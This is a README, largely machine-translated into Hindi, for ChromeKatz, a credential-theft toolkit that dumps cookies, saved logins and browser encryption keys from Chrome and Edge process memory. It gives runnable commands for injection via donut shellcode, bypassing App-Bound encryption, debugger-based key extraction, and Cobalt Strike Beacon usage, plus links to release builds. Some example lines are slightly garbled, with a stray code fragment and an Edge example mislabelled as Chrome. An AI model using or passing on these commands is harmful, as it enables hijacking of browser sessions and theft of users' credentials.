
Chrome/Edge प्रोसेस मेमोरी से सीधे कुकीज़ और क्रेडेंशियल डंप करें
ChromeKatz क्रोमियम-आधारित ब्राउज़रों की मेमोरी से संवेदनशील जानकारी डंप करने का एक समाधान है। अभी के लिए, ChromeKatz तीन परियोजनाओं से मिलकर बना है:
CookieKatz के लिए एक exe, Beacon Object File और minidump पार्सर उपलब्ध है। और ElevationKatz के लिए भी निष्पादन योग्य (executable) और Beacon Object File उपलब्ध है।
ElevationKatz अब ब्राउज़र मेमोरी से कुकी और क्रेडेंशियल डेटाबेस को पार्स करके उन्हें आपके लिए डिक्रिप्ट करने में सक्षम है।
CookieKatz को कुकीज़ खोजने के लिए कहीं अधिक मजबूत विधि का उपयोग करने हेतु पूरी तरह से नया रूप दिया गया है! नई विधि पुराने ब्राउज़र संस्करणों का भी समर्थन करती है। प्रासंगिक ब्राउज़रों पर App-Bound एन्क्रिप्शन को बायपास करने के लिए CookieKatz में अब नया /inject फ्लैग लागू किया गया है!
मुझे एक कॉफ़ी चाहिए, और मेरी बिल्लियों को भी चाहिए!
CookieKatz एक ऐसी परियोजना है जो ऑपरेटरों को Chrome, Edge या Msedgewebview2 से सीधे प्रोसेस मेमोरी से कुकीज़ डंप करने की अनुमति देती है। क्रोमियम-आधारित ब्राउज़र स्टार्टअप पर अपनी सभी कुकीज़ को डिस्क पर स्थित कुकी डेटाबेस से लोड करते हैं।
इस दृष्टिकोण के लाभ हैं*:
ये कथन कुछ ब्राउज़रों/एप्लिकेशनों पर अभी भी सत्य हैं। Chrome के नवीनतम संस्करणों के लिए आपको प्रोसेस में इंजेक्ट करने की आवश्यकता होगी। ... या ElevationKatz का उपयोग करें
32-बिट ब्राउज़र इंस्टॉलेशन समर्थित नहीं हैं और CookieKatz के 32-बिट बिल्ड भी समर्थित नहीं हैं।
वर्तमान में केवल नियमित कुकीज़ डंप की जाती हैं। Chromium Partitioned Cookies को एक अलग स्थान पर संग्रहीत करता है और वे वर्तमान में डंप में शामिल नहीं हैं।
इस समाधान में तीन परियोजनाएँ शामिल हैं, CookieKatz जो एक PE निष्पादन योग्य है, CookieKatz-BOF जो एक Beacon Object File संस्करण है और CookieKatzMinidump जो minidump पार्सर है।
नोट! PID का उपयोग करके लक्ष्य चुनते समय, सही सबप्रोसेस चुनने के लिए क्रमशः /list या cookie-katz-find कमांड का उपयोग करें!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz ऑपरेटरों को उपयोगकर्ता की संवेदनशील जानकारी तक पहुँच प्रदान करने के लिए मेमोरी से ब्राउज़र प्रोफ़ाइल एन्क्रिप्शन कुंजी डंप करने की सुविधा देता है। यह एक नए ब्राउज़र प्रोसेस को सस्पेंडेड (suspended) अवस्था में शुरू करके, ब्रेकपॉइंट्स स्थापित करके और ब्राउज़र प्रोसेस द्वारा एलिवेटर सेवा से कुंजी प्राप्त करते ही उसे डंप करके काम करता है।
इस दृष्टिकोण के लाभ हैं:
ElevationKatz एक नया ब्राउज़र प्रोसेस सस्पेंडेड अवस्था में शुरू करेगा और उससे एक डीबगर संलग्न करेगा। फिर यह ब्राउज़र dll को स्कैन करके उस निर्देश का पता लगाएगा जहाँ ब्राउज़र os_crypt::DecryptAppBoundString कॉल से लौटता है और तुरंत बाद में एक ब्रेकपॉइंट स्थापित करेगा। ब्रेकपॉइंट हिट होते ही, टूल मेमोरी से एन्क्रिप्शन कुंजी डंप कर देगा।
ऑपरेटर दो प्रकार के ब्रेकपॉइंट्स में से चुन सकता है: सॉफ़्टवेयर और हार्डवेयर ब्रेकपॉइंट्स।
इसके अतिरिक्त, HW ब्रेकपॉइंट्स के लिए थ्रेड एन्यूमरेशन के दो समर्थित तरीके हैं जिनमें से चुना जा सकता है: NtGetNextThread और CreateToolhelp32Snapshot। SW ब्रेकपॉइंट्स को थ्रेड एन्यूमरेशन की आवश्यकता नहीं होती है और इसलिए /tl32 फ्लैग उन्हें प्रभावित नहीं करता है।
नए config पैरामीटर का उपयोग प्रोफ़ाइल डेटाबेस को स्वचालित रूप से डिक्रिप्ट करने के लिए किया जा सकता है। यह IHack4Falafel's तकनीक का उपयोग करके ब्राउज़र मेमोरी से Cookie और Login Profile डेटाबेस को पार्स करता है, फ़ाइलों को सीधे छूने से बचाता है।
नोट डंपिंग केवल HW ब्रेकपॉइंट्स के साथ काम करती है क्योंकि मैं यह पता नहीं लगा सका कि SW ब्रेकपॉइंट्स को ठीक से कैसे साफ़ किया जाए और प्रोसेस को क्रैश होने से बचाने के लिए RIP को कैसे रिवाइंड किया जाए।
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
मैंने Chromium प्रोजेक्ट को उस बग के बारे में एक रिपोर्ट भेजी थी जिसका CredentialKatz मूल रूप से शोषण कर रहा था और उन्होंने इसे "Won't fix" के रूप में चिह्नित किया और कहा कि उन्हें इस बात की परवाह नहीं है कि क्रेडेंशियल मेमोरी में बने रहते हैं।
अचानक, टूल प्रकाशित होने के बाद उन्होंने बग को ठीक उसी तरह ठीक कर दिया जैसा मैंने प्रस्तावित किया था :3 https://issues.chromium.org/issues/352085708
ChrokeKatz BOFs का नवीनतम रिलीज़ बिल्ड यहाँ से डाउनलोड करें। ज़िप फ़ाइल में संकलित BOFs और उन्हें चलाने के लिए CNA स्क्रिप्ट शामिल है।
आप दोनों परियोजनाओं को Visual Studio पर Release या Debug कॉन्फ़िगरेशन और x64 प्लेटफ़ॉर्म के साथ निर्माण कर सकते हैं।
BOF संस्करण Cobalt Strike के Visual Studio टेम्पलेट bof-vs के साथ विकसित किया गया है। इसका मतलब है कि *-BOFs के लिए Debug कॉन्फ़िगरेशन COFF फ़ाइल के बजाय एक exe उत्पन्न करेगा। आप Visual Studio टेम्पलेट के उपयोग के बारे में यहाँ अधिक पढ़ सकते हैं।
आप x64 Native Tools Command Prompt for VS 2022 में nmake के साथ अपना स्वयं का BOF संकलित कर सकते हैं:
nmake all